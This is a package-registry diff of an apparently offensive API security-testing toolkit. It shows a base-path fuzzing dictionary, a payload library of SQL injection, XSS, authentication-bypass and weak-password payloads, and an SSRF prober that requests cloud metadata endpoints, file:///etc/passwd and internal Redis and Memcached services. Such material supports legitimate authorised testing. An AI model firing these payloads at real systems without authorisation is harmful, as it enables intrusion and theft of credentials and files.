opencode-api-security-testing 2.1.0 → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/SKILL.md +1797 -0
  2. package/core/advanced_recon.py +788 -0
  3. package/core/agentic_analyzer.py +445 -0
  4. package/core/analyzers/api_parser.py +210 -0
  5. package/core/analyzers/response_analyzer.py +212 -0
  6. package/core/analyzers/sensitive_finder.py +184 -0
  7. package/core/api_fuzzer.py +422 -0
  8. package/core/api_interceptor.py +525 -0
  9. package/core/api_parser.py +955 -0
  10. package/core/browser_tester.py +479 -0
  11. package/core/cloud_storage_tester.py +1330 -0
  12. package/core/collectors/__init__.py +23 -0
  13. package/core/collectors/api_path_finder.py +300 -0
  14. package/core/collectors/browser_collect.py +645 -0
  15. package/core/collectors/browser_collector.py +411 -0
  16. package/core/collectors/http_client.py +111 -0
  17. package/core/collectors/js_collector.py +490 -0
  18. package/core/collectors/js_parser.py +780 -0
  19. package/core/collectors/url_collector.py +319 -0
  20. package/core/context_manager.py +682 -0
  21. package/core/deep_api_tester_v35.py +844 -0
  22. package/core/deep_api_tester_v55.py +366 -0
  23. package/core/dynamic_api_analyzer.py +532 -0
  24. package/core/http_client.py +179 -0
  25. package/core/models.py +296 -0
  26. package/core/orchestrator.py +890 -0
  27. package/core/prerequisite.py +227 -0
  28. package/core/reasoning_engine.py +1042 -0
  29. package/core/response_classifier.py +606 -0
  30. package/core/runner.py +938 -0
  31. package/core/scan_engine.py +599 -0
  32. package/core/skill_executor.py +435 -0
  33. package/core/skill_executor_v2.py +670 -0
  34. package/core/skill_executor_v3.py +704 -0
  35. package/core/smart_analyzer.py +687 -0
  36. package/core/strategy_pool.py +707 -0
  37. package/core/testers/auth_tester.py +264 -0
  38. package/core/testers/idor_tester.py +200 -0
  39. package/core/testers/sqli_tester.py +211 -0
  40. package/core/testing_loop.py +655 -0
  41. package/core/utils/base_path_dict.py +255 -0
  42. package/core/utils/payload_lib.py +167 -0
  43. package/core/utils/ssrf_detector.py +220 -0
  44. package/core/verifiers/vuln_verifier.py +536 -0
  45. package/package.json +17 -13
  46. package/references/asset-discovery.md +119 -612
  47. package/references/graphql-guidance.md +65 -641
  48. package/references/intake.md +84 -0
  49. package/references/report-template.md +131 -38
  50. package/references/rest-guidance.md +55 -526
  51. package/references/severity-model.md +52 -264
  52. package/references/test-matrix.md +65 -263
  53. package/references/validation.md +53 -400
  54. package/scripts/postinstall.js +46 -0
  55. package/agents/cyber-supervisor.md +0 -55
  56. package/agents/probing-miner.md +0 -42
  57. package/agents/resource-specialist.md +0 -31
  58. package/commands/api-security-testing-scan.md +0 -59
  59. package/commands/api-security-testing-test.md +0 -49
  60. package/commands/api-security-testing.md +0 -72
  61. package/tsconfig.json +0 -17
@@ -0,0 +1,255 @@
1
+ """
2
+ API Base Path 字典 - 常见API前缀/父路径
3
+ 当无法从JS中获取baseURL时使用此字典进行fuzzing
4
+ """
5
+
6
+ # 常见API前缀/父路径(按优先级排序)
7
+ COMMON_API_PREFIXES = [
8
+ # 标准REST API
9
+ "/api",
10
+ "/api/v1",
11
+ "/api/v2",
12
+ "/api/v3",
13
+ "/api/rest",
14
+
15
+ # 常见变体
16
+ "/webapi",
17
+ "/openapi",
18
+ "/rest",
19
+ "/rest/api",
20
+ "/api/rest",
21
+
22
+ # 管理类
23
+ "/admin",
24
+ "/manager",
25
+ "/backend",
26
+ "/server",
27
+ "/service",
28
+
29
+ # 认证类
30
+ "/auth",
31
+ "/oauth",
32
+ "/oauth2",
33
+ "/public",
34
+
35
+ # 业务类
36
+ "/user",
37
+ "/users",
38
+ "/customer",
39
+ "/customers",
40
+ "/order",
41
+ "/orders",
42
+ "/product",
43
+ "/products",
44
+ ]
45
+
46
+ # 常见后端技术栈默认端口对应
47
+ TECH_STACK_PORTS = {
48
+ "java": [8080, 8443, 8000, 9000],
49
+ "python": [5000, 8000, 8001],
50
+ "nodejs": [3000, 3001, 8080],
51
+ "php": [80, 8080, 443],
52
+ "go": [8080, 8000, 9090],
53
+ "asp.net": [80, 443, 8080],
54
+ }
55
+
56
+ # 常见API路径模式(用于识别已发现的API的父路径)
57
+ API_PATH_PATTERNS = [
58
+ # user相关
59
+ r"/user/([^/]+)", # /user/login, /user/info
60
+ r"/users?/([^/]+)",
61
+
62
+ # auth相关
63
+ r"/auth/([^/]+)",
64
+ r"/oauth/([^/]+)",
65
+
66
+ # admin相关
67
+ r"/admin/([^/]+)",
68
+ r"/manage/([^/]+)",
69
+
70
+ # api相关
71
+ r"/api/([^/]+)",
72
+ r"/v([0-9]+)/([^/]+)",
73
+ ]
74
+
75
+ # 完整的base_path fuzzing字典(组合前缀)
76
+ BASE_PATH_FUZZ_PATTERNS = [
77
+ # 直接拼接常见前缀
78
+ "/api/{}",
79
+ "/api/v1/{}",
80
+ "/api/v2/{}",
81
+ "/webapi/{}",
82
+ "/rest/{}",
83
+ "/auth/{}",
84
+ "/admin/{}",
85
+ "/backend/{}",
86
+
87
+ # 带版本的
88
+ "/{}/v1",
89
+ "/{}/v2",
90
+ "/{}/v3",
91
+
92
+ # 带api前缀
93
+ "/api/{}/v1",
94
+ "/api/{}/v2",
95
+ ]
96
+
97
+ def get_base_path_candidates(discovered_path):
98
+ """
99
+ 根据已发现的API路径生成可能的base_path候选
100
+
101
+ 例如:
102
+ - discovered = "/user/login" -> candidates = ["/user", "/", ""]
103
+ - discovered = "/api/v1/user/info" -> candidates = ["/api/v1", "/api", "/"]
104
+ """
105
+ candidates = []
106
+ parts = discovered_path.strip("/").split("/")
107
+
108
+ for i in range(1, len(parts)):
109
+ candidate = "/" + "/".join(parts[:i])
110
+ candidates.append(candidate)
111
+
112
+ candidates.append("/") # 根路径
113
+ candidates.append("") # 空路径(相对路径)
114
+
115
+ return list(set(candidates))
116
+
117
+
118
+ def generate_fuzz_paths(path, prefixes=None):
119
+ """
120
+ 生成fuzzing用的完整路径列表
121
+
122
+ 参数:
123
+ path: 已发现的API路径(如 "user/login")
124
+ prefixes: 自定义前缀列表(可选)
125
+
126
+ 返回:
127
+ 完整的fuzzing路径列表
128
+ """
129
+ if prefixes is None:
130
+ prefixes = COMMON_API_PREFIXES
131
+
132
+ fuzz_paths = []
133
+ path_parts = path.strip("/").split("/")
134
+
135
+ # 生成各种组合
136
+ for prefix in prefixes:
137
+ # prefix + 完整path
138
+ fuzz_paths.append(f"{prefix}/{path}")
139
+
140
+ # prefix + 最后一个path
141
+ if path_parts:
142
+ fuzz_paths.append(f"{prefix}/{path_parts[-1]}")
143
+
144
+ # 加上原始path
145
+ fuzz_paths.append("/" + path)
146
+ fuzz_paths.append(path)
147
+
148
+ return list(set(fuzz_paths))
149
+
150
+
151
+ # 测试
152
+ if __name__ == "__main__":
153
+ print("=== Base Path Dictionary ===")
154
+ print(f"Common prefixes: {len(COMMON_API_PREFIXES)}")
155
+ print(f"Tech stack ports: {len(TECH_STACK_PORTS)}")
156
+
157
+ print("\n=== Candidates for /api/v1/user/login ===")
158
+ candidates = get_base_path_candidates("/api/v1/user/login")
159
+ for c in candidates:
160
+ print(f" {c}")
161
+
162
+ print("\n=== Fuzz paths for 'user/login' ===")
163
+ fuzz_paths = generate_fuzz_paths("user/login")
164
+ for p in fuzz_paths[:10]:
165
+ print(f" {p}")
166
+
167
+
168
+ def get_base_path_multi_dimensional(target_url, js_content=None, headers=None):
169
+ """
170
+ 【新增】多维度获取base_path
171
+
172
+ 维度1: 从JS配置中获取baseURL
173
+ 维度2: 从响应头分析nginx/后端技术
174
+ 维度3: 从已发现API路径反推
175
+ 维度4: 探测常见后端端口
176
+ 维度5: 分析URL模式推断
177
+
178
+ 输入:
179
+ target_url: 目标URL
180
+ js_content: JS内容(可选)
181
+ headers: 响应头(可选)
182
+
183
+ 输出:
184
+ {
185
+ base_path: string - 发现的base_path,
186
+ confidence: float - 置信度,
187
+ source: string - 来源,
188
+ candidates: [] - 候选路径
189
+ }
190
+ """
191
+ import requests
192
+ requests.packages.urllib3.disable_warnings()
193
+
194
+ result = {
195
+ 'base_path': None,
196
+ 'confidence': 0.0,
197
+ 'source': None,
198
+ 'candidates': []
199
+ }
200
+
201
+ # 维度1: 从JS配置获取
202
+ if js_content:
203
+ import re
204
+ baseurls = re.findall(r'baseURL\s*:\s*["\']([^"\']+)["\']', js_content)
205
+ if baseurls and baseurls[0]:
206
+ result['base_path'] = baseurls[0]
207
+ result['confidence'] = 1.0
208
+ result['source'] = 'js_config'
209
+ return result
210
+
211
+ # 维度2: 从响应头分析
212
+ try:
213
+ resp = requests.head(target_url, timeout=5, verify=False)
214
+ server = resp.headers.get('Server', '')
215
+ powered_by = resp.headers.get('X-Powered-By', '')
216
+
217
+ # nginx特征
218
+ if 'nginx' in server.lower():
219
+ result['candidates'].append('')
220
+ result['candidates'].append('/api')
221
+ if 'nginx' in server.lower():
222
+ result['confidence'] = 0.6
223
+ result['source'] = 'nginx_proxy'
224
+
225
+ # PHPStudy
226
+ if 'PHP' in powered_by:
227
+ result['candidates'].append('')
228
+ result['candidates'].append('/api')
229
+
230
+ except:
231
+ pass
232
+
233
+ # 维度3: 从URL路径推断
234
+ parsed = requests.packages.urllib3.util.urlparse(target_url)
235
+ path_parts = parsed.path.strip('/').split('/')
236
+
237
+ # 如果URL包含登录页路径
238
+ if 'login' in parsed.path.lower():
239
+ # 尝试获取根路径
240
+ candidates = [
241
+ '', # 相对路径
242
+ '/api',
243
+ '/auth',
244
+ '/user',
245
+ '/' + path_parts[0] if path_parts else '',
246
+ ]
247
+ result['candidates'].extend([c for c in candidates if c])
248
+ result['confidence'] = 0.5
249
+ result['source'] = 'url_inference'
250
+
251
+ # 维度4: 返回最可能的候选
252
+ if result['candidates']:
253
+ result['base_path'] = result['candidates'][0]
254
+
255
+ return result
@@ -0,0 +1,167 @@
1
+ """
2
+ Payload库 - 管理测试Payload
3
+ 输入: {type, count}
4
+ 输出: {payloads, descriptions, risk_levels}
5
+ """
6
+
7
+ # SQL注入Payload
8
+ SQLI_PAYLOADS = [
9
+ # 基于错误的注入
10
+ "' OR '1'='1",
11
+ "' OR '1'='1' --",
12
+ "' OR '1'='1' #",
13
+ "admin'--",
14
+ "admin' OR '1'='1",
15
+
16
+ # UNION注入
17
+ "' UNION SELECT NULL--",
18
+ "' UNION SELECT NULL,NULL--",
19
+ "' UNION SELECT 1,2,3--",
20
+ "1' UNION SELECT NULL--",
21
+
22
+ # 布尔注入
23
+ "1' AND '1'='1",
24
+ "1' AND '1'='2",
25
+ "1' OR '1'='1",
26
+
27
+ # 时间盲注
28
+ "1' AND SLEEP(5)--",
29
+ "1'; WAITFOR DELAY '00:00:05'--",
30
+
31
+ # 二次注入
32
+ "test'--",
33
+ ]
34
+
35
+ # XSS Payload
36
+ XSS_PAYLOADS = [
37
+ "<script>alert(1)</script>",
38
+ "<img src=x onerror=alert(1)>",
39
+ "'><script>alert(String.fromCharCode(88,83,83))</script>",
40
+ "<svg/onload=alert(1)>",
41
+ "javascript:alert(1)",
42
+ "<iframe src=javascript:alert(1)>",
43
+ "<body onload=alert(1)>",
44
+ "<input onfocus=alert(1) autofocus>",
45
+ ]
46
+
47
+ # IDOR测试ID
48
+ IDOR_TEST_IDS = [
49
+ 1, 2, 3, 4, 5, 10, 100, 999, 9999,
50
+ "admin", "test", "user",
51
+ "a" * 32,
52
+ ]
53
+
54
+ # JWT测试
55
+ JWT_PAYLOADS = [
56
+ "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c",
57
+ "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTM1OTk2MjU2LCJleHAiOjE5MTc1NTYyNTYsIm5iZiI6MTUzNTk5NjI1NiwianRpIjoiIiwic3ViIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9",
58
+ ]
59
+
60
+ # 认证绕过Payload
61
+ AUTH_BYPASS_PAYLOADS = [
62
+ {"username": "admin", "password": "admin"},
63
+ {"username": "admin", "password": "123456"},
64
+ {"username": "admin", "password": "admin123"},
65
+ {"username": "test", "password": "test"},
66
+ {"username": "' OR '1'='1", "password": "any"},
67
+ {"username": "admin'--", "password": "any"},
68
+ {"username": "1' OR '1'='1", "password": "1"},
69
+ ]
70
+
71
+ # 弱密码
72
+ WEAK_PASSWORDS = [
73
+ "123456", "password", "admin", "admin123",
74
+ "123123", "000000", "111111", "12345678",
75
+ "qwerty", "abc123", "1234", "12345"
76
+ ]
77
+
78
+
79
+ def get_payloads(config):
80
+ """
81
+ 获取Payload库
82
+
83
+ 输入:
84
+ type: "sqli" | "xss" | "idor" | "jwt" | "auth_bypass"
85
+ count?: number - 返回数量
86
+
87
+ 输出:
88
+ payloads: string[]
89
+ descriptions: string[]
90
+ risk_levels: string[]
91
+ """
92
+ payload_type = config.get('type', 'sqli')
93
+ count = config.get('count', 10)
94
+
95
+ if payload_type == 'sqli':
96
+ payloads = SQLI_PAYLOADS[:count]
97
+ descriptions = [
98
+ "通用布尔注入",
99
+ "注释绕过",
100
+ "OR注入",
101
+ "管理员绕过",
102
+ "UNION注入",
103
+ ] * (count // 5 + 1)
104
+ risk_levels = ['high'] * count
105
+
106
+ elif payload_type == 'xss':
107
+ payloads = XSS_PAYLOADS[:count]
108
+ descriptions = [
109
+ "script标签",
110
+ "img标签onerror",
111
+ "script标签绕过",
112
+ "svg标签",
113
+ "javascript伪协议",
114
+ ] * (count // 5 + 1)
115
+ risk_levels = ['high'] * count
116
+
117
+ elif payload_type == 'idor':
118
+ payloads = IDOR_TEST_IDS[:count]
119
+ descriptions = ["数字ID"] * count
120
+ risk_levels = ['medium'] * count
121
+
122
+ elif payload_type == 'jwt':
123
+ payloads = JWT_PAYLOADS[:count]
124
+ descriptions = ["JWT测试token"] * count
125
+ risk_levels = ['high'] * count
126
+
127
+ elif payload_type == 'auth_bypass':
128
+ payloads = AUTH_BYPASS_PAYLOADS[:count]
129
+ descriptions = ["弱口令", "SQL注入绕过"] * (count // 2 + 1)
130
+ risk_levels = ['high'] * count
131
+
132
+ else:
133
+ payloads = []
134
+ descriptions = []
135
+ risk_levels = []
136
+
137
+ return {
138
+ 'payloads': payloads[:count],
139
+ 'descriptions': descriptions[:count],
140
+ 'risk_levels': risk_levels[:count]
141
+ }
142
+
143
+
144
+ def get_sqli_payloads():
145
+ """获取SQL注入Payload"""
146
+ return SQLI_PAYLOADS
147
+
148
+
149
+ def get_xss_payloads():
150
+ """获取XSS Payload"""
151
+ return XSS_PAYLOADS
152
+
153
+
154
+ def get_idor_test_ids():
155
+ """获取IDOR测试ID"""
156
+ return IDOR_TEST_IDS
157
+
158
+
159
+ def get_weak_passwords():
160
+ """获取弱密码列表"""
161
+ return WEAK_PASSWORDS
162
+
163
+
164
+ if __name__ == '__main__':
165
+ # 测试
166
+ result = get_payloads({'type': 'sqli', 'count': 5})
167
+ print(f"Payloads: {result['payloads']}")
@@ -0,0 +1,220 @@
1
+ """
2
+ SSRF漏洞检测模块
3
+
4
+ 检测API中的SSRF(服务器端请求伪造)漏洞
5
+ """
6
+
7
+ import requests
8
+ import re
9
+
10
+ requests.packages.urllib3.disable_warnings()
11
+
12
+
13
+ def detect_ssrf(target_url, api_path, param_name='url', method='GET'):
14
+ """
15
+ 检测SSRF漏洞
16
+
17
+ 输入:
18
+ target_url: 目标URL(如 http://example.com)
19
+ api_path: API路径(如 /hszh/WxApi/getTQUserInfo)
20
+ param_name: 可能存在SSRF的参数名
21
+ method: 请求方法(GET/POST)
22
+
23
+ 输出:
24
+ {
25
+ vulnerable: boolean,
26
+ findings: [],
27
+ confidence: float
28
+ }
29
+ """
30
+ result = {
31
+ 'vulnerable': False,
32
+ 'findings': [],
33
+ 'confidence': 0.0
34
+ }
35
+
36
+ full_url = target_url.rstrip('/') + api_path
37
+
38
+ # SSRF测试payloads
39
+ ssrf_payloads = [
40
+ # 本地回环
41
+ ('http://127.0.0.1', 'Localhost'),
42
+ ('http://127.0.0.1:8080', 'Localhost:8080'),
43
+ ('http://localhost', 'localhost'),
44
+ ('http://0.0.0.0', '0.0.0.0'),
45
+
46
+ # 云元数据
47
+ ('http://169.254.169.254/latest/meta-data/', 'AWS Metadata'),
48
+ ('http://metadata.google.internal/', 'GCP Metadata'),
49
+
50
+ # 内网探测
51
+ ('http://192.168.1.1', 'Private IP'),
52
+ ('http://10.0.0.1', '10.x Private'),
53
+ ('http://172.16.0.1', '172.16.x Private'),
54
+
55
+ # 协议变种
56
+ ('file:///etc/passwd', 'File Protocol'),
57
+ ('dict://127.0.0.1:11211/stats', 'Memcached'),
58
+ ('gopher://127.0.0.1:6379/_INFO', 'Redis'),
59
+ ]
60
+
61
+ for payload, description in ssrf_payloads:
62
+ try:
63
+ if method == 'POST':
64
+ r = requests.post(full_url, data={param_name: payload}, verify=False, timeout=5)
65
+ else:
66
+ r = requests.get(full_url, params={param_name: payload}, verify=False, timeout=5)
67
+
68
+ # 检查响应判断是否成功探测
69
+ findings = analyze_ssrf_response(r, payload, description)
70
+ result['findings'].extend(findings)
71
+
72
+ except requests.exceptions.Timeout:
73
+ result['findings'].append({
74
+ 'payload': payload,
75
+ 'description': description,
76
+ 'type': 'timeout',
77
+ 'info': '请求超时,可能存在防火墙'
78
+ })
79
+ except Exception as e:
80
+ result['findings'].append({
81
+ 'payload': payload,
82
+ 'description': description,
83
+ 'type': 'error',
84
+ 'info': str(e)[:50]
85
+ })
86
+
87
+ # 判断是否有SSRF
88
+ if result['findings']:
89
+ success_findings = [f for f in result['findings'] if f['type'] == 'ssrf_found']
90
+ if success_findings:
91
+ result['vulnerable'] = True
92
+ result['confidence'] = min(1.0, len(success_findings) * 0.3 + 0.4)
93
+
94
+ return result
95
+
96
+
97
+ def analyze_ssrf_response(response, payload, description):
98
+ """
99
+ 分析响应判断是否为SSRF
100
+
101
+ 返回:
102
+ list - 发现的问题
103
+ """
104
+ findings = []
105
+
106
+ # 检查是否有请求发送(响应时间异常)
107
+ elapsed = response.elapsed.total_seconds()
108
+ if elapsed > 3 and 'localhost' in payload.lower():
109
+ findings.append({
110
+ 'payload': payload,
111
+ 'description': description,
112
+ 'type': 'slow_response',
113
+ 'info': f'响应时间 {elapsed:.1f}秒,可能连接到内部服务'
114
+ })
115
+
116
+ # 检查响应内容
117
+ response_text = response.text.lower()
118
+
119
+ # 检测内网服务响应特征
120
+ ssrf_indicators = {
121
+ 'aws_metadata': ['ami-id', 'instance-id', 'local-hostname', 'local-ipv4'],
122
+ 'redis': ['redis_version', 'connected_clients', 'role:'],
123
+ 'memcached': ['stats', 'version', 'pid'],
124
+ 'http_banner': ['server:', 'apache', 'nginx', 'microsoft', 'tomcat'],
125
+ 'internal_error': ['connection refused', 'connection timeout', 'no route to host'],
126
+ }
127
+
128
+ for indicator_type, keywords in ssrf_indicators.items():
129
+ for keyword in keywords:
130
+ if keyword in response_text:
131
+ findings.append({
132
+ 'payload': payload,
133
+ 'description': description,
134
+ 'type': 'ssrf_found',
135
+ 'info': f'发现{indicator_type}特征: {keyword}',
136
+ 'severity': 'high'
137
+ })
138
+ break
139
+
140
+ # 检查是否是200状态码但响应异常(可能代理了请求)
141
+ if response.status_code == 200:
142
+ if 'html' not in response.headers.get('content-type', '').lower():
143
+ if len(response.text) < 100 and 'error' not in response_text:
144
+ findings.append({
145
+ 'payload': payload,
146
+ 'description': description,
147
+ 'type': 'ssrf_suspect',
148
+ 'info': f'小响应({len(response.text)}字节),可能是代理响应',
149
+ 'severity': 'medium'
150
+ })
151
+
152
+ return findings
153
+
154
+
155
+ def check_ssrf_params(js_content):
156
+ """
157
+ 从JS内容中检测可能存在SSRF的参数
158
+
159
+ 输入:
160
+ js_content: JS文件内容
161
+
162
+ 输出:
163
+ ssrf_params: [{
164
+ param: string,
165
+ context: string,
166
+ api_path: string
167
+ }]
168
+ """
169
+ import re
170
+
171
+ ssrf_params = []
172
+
173
+ # 常见的SSRF敏感参数
174
+ ssrf_param_names = [
175
+ 'url', 'uri', 'path', 'site', 'html', 'val', 'validate',
176
+ 'domain', 'callback', 'page', 'feed', 'host', 'port', 'to',
177
+ 'out', 'view', 'dir', 'ip', 'name', 'tqToken', 'userToken',
178
+ 'file', 'reference', 'redirect', 'next', 'data', 'q', 'urlEncoded',
179
+ 'xml', 'xsl', 'template', 'php_path', 'style', 'doc', 'img'
180
+ ]
181
+
182
+ # 查找这些参数的使用
183
+ for param in ssrf_param_names:
184
+ # 查找param作为key的使用
185
+ pattern = rf'["\']({param})["\']\s*:\s*["\']([^"\']+)["\']'
186
+ matches = re.findall(pattern, js_content, re.I)
187
+
188
+ for m in matches:
189
+ param_name, param_value = m
190
+ if any(x in param_value.lower() for x in ['http', 'file://', 'ftp']):
191
+ ssrf_params.append({
192
+ 'param': param_name,
193
+ 'value': param_value,
194
+ 'context': 'url_value_found',
195
+ 'risk': 'high'
196
+ })
197
+
198
+ # 查找http请求模式
199
+ http_patterns = [
200
+ r'(?:url|uri|path)\s*[:=]\s*[\"\'](https?://[^\s"\']+)[\"\']',
201
+ r'(?:url|uri|path)\s*:\s*[\w.]+\s*\(\s*[\"\'](https?://[^\s"\']+)[\"\']',
202
+ ]
203
+
204
+ for pattern in http_patterns:
205
+ matches = re.findall(pattern, js_content, re.I)
206
+ for m in matches:
207
+ ssrf_params.append({
208
+ 'param': 'url_in_code',
209
+ 'value': m,
210
+ 'context': 'hardcoded_url',
211
+ 'risk': 'low'
212
+ })
213
+
214
+ return ssrf_params
215
+
216
+
217
+ if __name__ == '__main__':
218
+ # 测试
219
+ result = check_ssrf_params('url="http://example.com"')
220
+ print(f"SSRF params: {result}")